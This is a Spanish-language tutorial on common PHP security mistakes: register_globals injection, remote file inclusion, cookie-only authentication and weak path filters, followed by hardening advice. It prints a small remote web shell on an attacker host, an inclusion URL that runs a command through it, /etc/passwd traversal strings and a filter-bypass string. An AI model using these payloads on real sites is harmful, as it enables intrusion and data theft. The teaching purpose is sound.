Errores al programar en PHP Introducción En éste texto trataré de explicar algunos fallos comunes que ocurren al programar en php. No es culpable php por éstos "errores", yo considero que las culpas son del programador, por no ser mas cuidadoso. Php es un excelente lenguaje de programación y uno de los mas utilizados, seguro que algún día intentarás programar en php y vas a querer tener en cuenta los siguientes errores. También al final puedes ver, cómo protegerte de cada uno. Variables Una de las cosas simples de php es el uso de variables, no hay que declararlas y php no asigna variables específicas, puedes usar una variable como un integer, string, boolean e ir cambiándola según la vayas usando sin tener que hacerle ningun cambio a la variable. ¿Entonces cual es el problema con las variables? El problema no está en las variables, más bien en la configuración del php que viene por defecto con "register_globals on", ésta opción permite a cualquier persona modificar una variable que no tenga ninguna asignación dentro del código, asignarle un valor. El ejemplo más comun, es el siguiente código:
    //controlpanel.php
    [..]
    if ($logueado == "1") {
        echo "Bienvenido Admin";
    } else {
        echo "No tienes permisos para entrar.";
    }
    [..]
La variable $logueado no tiene nada asignado, se presume que tiene asignado algo, quizás proveniente de otra página. Podemos modificar el valor y asignarle "1" para que piense que ya estamos logueados, ésto se hace por medio de la dirección url; ejemplo:
    http://www.pagina.com/controlpanel.php?logueado=1
Al entrar a la dirección nos dará el mensaje "Bienvenido Admin", si no te has dado cuenta, las variables en php que se pasan con el método GET se ven en la dirección del siguiente modo: "pagina.php?1variable=algo&2variabl=algo&3variable=algo" y así continuamente. Inclusión Remota de Archivos Éste es posiblemente, uno de los fallos más peligrosos y muy común. Muchos "hackers" aprovechan este fallo para hacer defaces a una web. Una de las principales ventajas de php como lenguaje de programación web es el no tener que crear los mismos códigos html una y otra vez. Podemos incluir el código php/html de un archivo y usarlo en la página que estamos mostrando y así nos ahorramos escribir tanto. No hay ningún riesgo en usar éstas funciones include(), include_once() y require_once() siempre y cuando no lo mezclemos con variables porque tendríamos un ataque como el que expliqué anteriormente. Ejemplo:
    //index.php
    [..]
    $include($pag);
    [..]
El código va leer la variable $pag y va introducir el código que tenga el documento especificado en la variable, lo más probable está en espera de algo como ésto: "index.php?pag=downloads.php" (algo muy común). Pero si alguien cambia el valor de $pag entonces leerá cualquier archivo y ejecutara el código php o mostrará la información. Si alguien pone "index.php?pag=/etc/passwd" mostrara el archivo siempre y cuando php/apache se esten ejecutando en un user con los suficientes permisos. Pero eso aún no es lo peor, alguien puede inyectarnos codigo php y ejecutarlos en nuestra web. Como dice el título se pueden incluir archivos remotos de otra web, sólo hay que dárselo a la variable para que lo lea. Ejemplo:
    //Atacante tiene una web y crea un archivo llamado  hola.gif y contiene lo siguiente:
    <?
    system($evil,$ret);
    echo $ret;
    ?>
Ese código que una persona haya creado en su web lo puede inyectar a tu pagina del siguiente modo:
    http://www.pagina.com/index.php?pag=http://www.atacante.net/hola.gif&evil=ls
Eso cargara el código malo a tu página web, ejecutara el comando "ls" y devolverá el resultado. Mal uso de Cookies Las cookies son un texto que se almacenan en un archivo o varios dependiendo del explorador. Se usan mayormente en los sistemas de login en las páginas web para poder identificarnos, almacenan nuestro user, password,id,email y/o cualquier otra información por la cual puedan saber quienes somos. No podemos confiarnos de que porque la persona tenga una cookie sabemos que es un user válido, se debe verificar el contenido de la cookie para ver si concuerda con todo lo demas. En php se crean las cookies con la función setcookie(), ejemplo:
    [..]
    if ($passwd == "secreto"){
        setcookie("admin","admin::crack_x::c2VjcmV0bw==",time()+3600); //se expira en una hora
    }
    [..]
Ese sería un ejemplo de una página web que crea una cookie llamada "admin" con los valores "admin::crack_x::c2VjcmV0bw==" que expira en 1 hora. Más adelante en la página de admin.php vemos un código parecido a éste:
    [..]
    if ($_COOKIE['admin'] == NULL) {
        echo "No tienes permiso para esta area.";
    } else {
        echo "Bienvenido Admin.";
    }
    [..]
Éste código sólo verifica si la cookie existe pero no verifica el contenido de la cookie por lo tanto cualquier persona puede crear un cookie llamado admin, entrar a la página y tendrá acceso al área administrativa. Es muy difícil que alguien sepa como funciona tu página a menos que le comentes el sistema que usas o muestres el código, de otro modo es un poco seguro pero no correcto. Mala Filtración Probablemente ya tienes algun filtro que crees muy seguro, piensas que nadie puede saltar tu filtro, pero... ¿es tu filtro tan seguro? Quizás estas usando la función str_replace(), esta función busca un string dentro de un string para substituirlo por otro string (¿confuso?). Éste método no es siempre bueno ya que con un poco de astucia se puede saltar éste filtro, veamos un ejemplo:
    [..]
    $tmp = str_replace("../","",$tmp);
    $leer = fopen("/tmp/$tmp","r");
    [..]
Éste código lee un archivo de una variable para leerlo, inteligentemente se filtra para que no pueda leer un archivo de otra carpeta de más atras o no haga "reverse directory transversal", el código no es seguro porque si encuentra en la variable "../" lo eliminirá y lo dejará en blanco, pero... ¿que pasa si $tmp = "..././etc/passwd" ? Cuando se remplace el "../" quedara "../etc/passwd" es decir, que se saltó el filtro, quedó lo mismo que intentas filtrar. Otras personas usan strpos(), ésta función busca un string dentro del string y si no lo encuentra devuelve FALSE, esto tampoco es seguro ya que podemos saltarlo de la forma más fácil, si $tmp = "/etc/passwd" no encontrara el "../" por lo tanto lo dará como válido pero se abrirá el archivo /etc/passwd, es una forma directa de engañarlo. Cuando crees un filtro intenta de saltarlo, piensa qué pasaría si escriben X cosas o si pasan X cosas, es como jugar al ajedrez :) Funciones Peligrosas Aqui les dejo una lista de funciones peligrosas que debemos de tener cuidado al usarlas ya que si alguien logra modificar su uso puede causar graves daños. Permiten Ejecución de codigos php: include() include_once() require() require_once() eval() Ejecución de Comandos: exec() passthru() system() shell_exec() popen() Archivos: fopen() file() readfile() file_get_contents() Protección Lo primero que deberías saber es que no es seguro correr apache/php en un usuario con privilegios, lo recomendado es correr el server con un usuario "nobody" sin privilegios, ya que si logran ejecutar código, no tendrán privilegios para atacar todo. En el caso de inclusión de archivos remoto lo mejor es obligar a que busque el archivo siempre dentro de la carpeta que deseamos o filtrar con un switch() que sólo se incluya un archivo que conozcamos, también puedes obligar a que la extensión del archivo sea .php . Recordad que sólo porque un usuario tenga una cookie creada no significa que sea seguro, debeis comprobar el contenido de la cookie para estar seguros de que es un usuario válido. Recomendaciones en la configuración de apache/php: "register_globals off" desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante). "safe_mode on" algo muy estricto pero muy seguro, no permite ejecución de archivos, ni lectura de archivos de los cuales no eres dueño. "open_basedir" solo deja abrir archivos en directorios específicos, útil para prevenir inclusión remota de archivos. "display_errors off, log_errors on" no muestra errores, así los atacantes no pueden conseguir información. "allow_url_fopen off" no deja que se abran archivos remotos. "magic_quotes_gpc()" muy útil para prevenir sql injections, un tema que no traté por lo extenso que es, pero puedes buscarlo. Lectura Extra Aquí les dejo unos cuantos links donde pueden leer más sobre protección en php y otros tipos de ataques que nos pueden hacer: Vulnerabilidades comunes en aplicaciones escritas en PHP (A study in Scarlet) Hacking Web-Applications v1.0 Sql Injection I (Kriptópolis) Sql Injection II (Kriptópolis) Introducción al XSS :: bug en [IMG] (BBcode) {Hispabyte Ezine 1} [::Tutorial::] - Ataques XSS by Crack_X Yasser A. Hernández C. http://crackx.webcindario.com